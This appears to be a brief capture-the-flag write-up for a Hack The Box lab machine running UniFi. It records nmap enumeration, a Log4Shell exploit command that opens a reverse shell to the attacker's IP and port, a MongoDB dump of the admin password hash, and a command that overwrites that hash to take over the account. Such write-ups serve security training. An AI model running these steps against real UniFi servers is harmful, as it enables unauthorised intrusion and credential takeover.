Enumeration#

nmap#

1
PORT     STATE SERVICE
2
22/tcp   open  ssh
3
| ssh-hostkey:
4
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
5
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
6
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
7
6789/tcp open  ibm-db2-admin
8
8080/tcp open  http-proxy
9
|_http-open-proxy: Proxy might be redirecting requests
10
|_http-title: Did not follow redirect to https://10.129.209.113:8443/manage
11
8443/tcp open  https-alt
12
| http-title: UniFi Network
13
|_Requested resource was /manage/account/login?redirect=%2Fmanage
14
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
15
| Subject Alternative Name: DNS:UniFi
16
| Not valid before: 2021-12-30T21:37:24
17
|_Not valid after:  2024-04-03T21:37:24

22,6789,8080,8443

1
PORT     STATE    SERVICE         VERSION
2
22/tcp   open     ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3
1031/tcp filtered iad2
4
2401/tcp filtered cvspserver
5
6789/tcp open     ibm-db2-admin?
6
7103/tcp filtered unknown
7
8080/tcp open     http            Apache Tomcat (language: en)
8
8443/tcp open     ssl/nagios-nsca Nagios NSCA
9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Finding Attack Vector#

unified version : 6.4.54
CVE-2021-44228
python3 exploit.py -u https://10.129.209.113:8443 -i 10.10.14.159 -p 4444
username = michael
user.txt
- 6ced1a6a89e666c0****************
export TERM=xterm
export TERM=xterm-256color
https://www.hackthebox.com/blog/Whats-Going-On-With-Log4j-Exploitation
upgrade terminal shell
- script /dev/null -c bash
mongodb default database dump
- mongo —port 27117 ace —eval “db.admin.find().forEach(printjson);`
- db.admin.find()

1
unifi@unified:/usr/lib/unifi$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
2
Each(printjson);"7 ace --eval "db.admin.find().forE
3
MongoDB shell version v3.6.3
4
connecting to: mongodb://127.0.0.1:27117/ace
5
MongoDB server version: 3.6.3
6
{
7
        "_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
8
        "name" : "administrator",
9
        "email" : "administrator@unified.htb",
10
        "x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
11
}

new pass (password)

1
$6$UwwBFErYxwlTxcc1$pixniPrk2FyE29v2IDRdtSNGhcqf1kpcotZsrx.w3/nr/WgAVd0WjPaeYVAAWqOfS38J6He/bjRJi74rJF07j0

update password
- db.admin.update()

1
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$UwwBFErYxwlTxcc1$pixniPrk2FyE29v2IDRdtSNGhcqf1kpcotZsrx.w3/nr/WgAVd0WjPaeYVAAWqOfS38J6He/bjRJi74rJF07j0"}})

root.txt
- e50bc93c75b634e4****************